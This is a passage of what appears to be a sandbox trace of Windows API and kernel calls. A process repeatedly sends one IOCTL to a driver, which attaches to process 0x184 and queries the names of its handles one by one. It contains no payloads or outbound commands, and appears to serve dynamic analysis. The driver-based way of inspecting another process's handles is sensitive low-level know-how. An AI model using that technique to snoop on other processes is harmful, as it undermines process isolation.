ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003988044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.309] ObfDereferenceObject (Object=0xfffff8a001ef47c0) returned 0x1 [0068.309] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.309] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.309] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.310] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.310] PsAcquireProcessExitSynchronization () returned 0x0 [0068.310] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.310] ObReferenceObjectByHandle (in: Handle=0x31c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001cb9860, HandleInformation=0x0) returned 0x0 [0068.310] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.310] PsReleaseProcessExitSynchronization () returned 0x2 [0068.310] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.310] ObQueryNameString (in: Object=0xfffff8a001cb9860, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.310] ObfDereferenceObject (Object=0xfffff8a001cb9860) returned 0x1 [0068.310] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.310] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.310] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.310] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.310] PsAcquireProcessExitSynchronization () returned 0x0 [0068.310] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.310] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f35850, HandleInformation=0x0) returned 0x0 [0068.310] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.310] PsReleaseProcessExitSynchronization () returned 0x2 [0068.310] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.310] ObQueryNameString (in: Object=0xfffff8a001f35850, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.310] ObfDereferenceObject (Object=0xfffff8a001f35850) returned 0x1 [0068.310] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.310] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.310] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.310] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.310] PsAcquireProcessExitSynchronization () returned 0x0 [0068.310] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.310] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001ef4af0, HandleInformation=0x0) returned 0x0 [0068.311] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.311] PsReleaseProcessExitSynchronization () returned 0x2 [0068.311] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.311] ObQueryNameString (in: Object=0xfffff8a001ef4af0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.311] ObfDereferenceObject (Object=0xfffff8a001ef4af0) returned 0x1 [0068.311] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.311] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.311] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.311] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.311] PsAcquireProcessExitSynchronization () returned 0x0 [0068.311] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.311] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001bd1f00, HandleInformation=0x0) returned 0x0 [0068.311] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.311] PsReleaseProcessExitSynchronization () returned 0x2 [0068.311] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.311] ObQueryNameString (in: Object=0xfffff8a001bd1f00, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.311] ObfDereferenceObject (Object=0xfffff8a001bd1f00) returned 0x1 [0068.311] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.311] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.311] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.311] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.311] PsAcquireProcessExitSynchronization () returned 0x0 [0068.311] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.311] ObReferenceObjectByHandle (in: Handle=0x364, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f6c680, HandleInformation=0x0) returned 0x0 [0068.311] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.311] PsReleaseProcessExitSynchronization () returned 0x2 [0068.311] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.311] ObQueryNameString (in: Object=0xfffff8a001f6c680, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.311] ObfDereferenceObject (Object=0xfffff8a001f6c680) returned 0x1 [0068.311] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.311] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.311] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.312] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.312] PsAcquireProcessExitSynchronization () returned 0x0 [0068.312] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.312] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f649f0, HandleInformation=0x0) returned 0x0 [0068.312] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.312] PsReleaseProcessExitSynchronization () returned 0x2 [0068.312] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.312] ObQueryNameString (in: Object=0xfffff8a001f649f0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.312] ObfDereferenceObject (Object=0xfffff8a001f649f0) returned 0x1 [0068.312] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.312] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.312] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.312] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.312] PsAcquireProcessExitSynchronization () returned 0x0 [0068.312] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.312] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001bc9330, HandleInformation=0x0) returned 0x0 [0068.312] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.312] PsReleaseProcessExitSynchronization () returned 0x2 [0068.312] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.312] ObQueryNameString (in: Object=0xfffff8a001bc9330, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.312] ObfDereferenceObject (Object=0xfffff8a001bc9330) returned 0x1 [0068.312] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.312] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.312] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.312] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.312] PsAcquireProcessExitSynchronization () returned 0x0 [0068.312] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.312] ObReferenceObjectByHandle (in: Handle=0x37c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001efaef0, HandleInformation=0x0) returned 0x0 [0068.312] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.312] PsReleaseProcessExitSynchronization () returned 0x2 [0068.313] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.313] ObQueryNameString (in: Object=0xfffff8a001efaef0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.313] ObfDereferenceObject (Object=0xfffff8a001efaef0) returned 0x1 [0068.313] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.449] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.449] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.449] PsAcquireProcessExitSynchronization () returned 0x0 [0068.449] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.449] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fa27a0, HandleInformation=0x0) returned 0x0 [0068.449] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.449] PsReleaseProcessExitSynchronization () returned 0x2 [0068.449] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.449] ObQueryNameString (in: Object=0xfffff8a001fa27a0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.449] ObfDereferenceObject (Object=0xfffff8a001fa27a0) returned 0x1 [0068.449] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.449] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.449] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.449] PsAcquireProcessExitSynchronization () returned 0x0 [0068.449] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.449] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f4e6d0, HandleInformation=0x0) returned 0x0 [0068.449] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.449] PsReleaseProcessExitSynchronization () returned 0x2 [0068.449] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.449] ObQueryNameString (in: Object=0xfffff8a001f4e6d0, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.449] ObfDereferenceObject (Object=0xfffff8a001f4e6d0) returned 0x1 [0068.449] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.449] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.450] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.450] PsAcquireProcessExitSynchronization () returned 0x0 [0068.450] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.450] ObReferenceObjectByHandle (in: Handle=0x3ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f86670, HandleInformation=0x0) returned 0x0 [0068.450] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.450] PsReleaseProcessExitSynchronization () returned 0x2 [0068.450] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.450] ObQueryNameString (in: Object=0xfffff8a001f86670, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.450] ObfDereferenceObject (Object=0xfffff8a001f86670) returned 0x1 [0068.450] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.450] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.450] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.450] PsAcquireProcessExitSynchronization () returned 0x0 [0068.450] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.450] ObReferenceObjectByHandle (in: Handle=0x3bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f1d110, HandleInformation=0x0) returned 0x0 [0068.450] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.450] PsReleaseProcessExitSynchronization () returned 0x2 [0068.450] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.450] ObQueryNameString (in: Object=0xfffff8a001f1d110, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.450] ObfDereferenceObject (Object=0xfffff8a001f1d110) returned 0x1 [0068.450] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.450] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.450] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.450] PsAcquireProcessExitSynchronization () returned 0x0 [0068.450] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.450] ObReferenceObjectByHandle (in: Handle=0x3cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f6b4f0, HandleInformation=0x0) returned 0x0 [0068.450] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.451] PsReleaseProcessExitSynchronization () returned 0x2 [0068.451] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.451] ObQueryNameString (in: Object=0xfffff8a001f6b4f0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.451] ObfDereferenceObject (Object=0xfffff8a001f6b4f0) returned 0x1 [0068.451] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.451] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.451] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.451] PsAcquireProcessExitSynchronization () returned 0x0 [0068.451] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.451] ObReferenceObjectByHandle (in: Handle=0x3dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fc79f0, HandleInformation=0x0) returned 0x0 [0068.451] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.451] PsReleaseProcessExitSynchronization () returned 0x2 [0068.451] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.451] ObQueryNameString (in: Object=0xfffff8a001fc79f0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.451] ObfDereferenceObject (Object=0xfffff8a001fc79f0) returned 0x1 [0068.451] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.451] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.451] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.451] PsAcquireProcessExitSynchronization () returned 0x0 [0068.451] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.451] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fb78d0, HandleInformation=0x0) returned 0x0 [0068.451] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.451] PsReleaseProcessExitSynchronization () returned 0x2 [0068.451] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.451] ObQueryNameString (in: Object=0xfffff8a001fb78d0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.451] ObfDereferenceObject (Object=0xfffff8a001fb78d0) returned 0x1 [0068.451] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.451] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.452] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 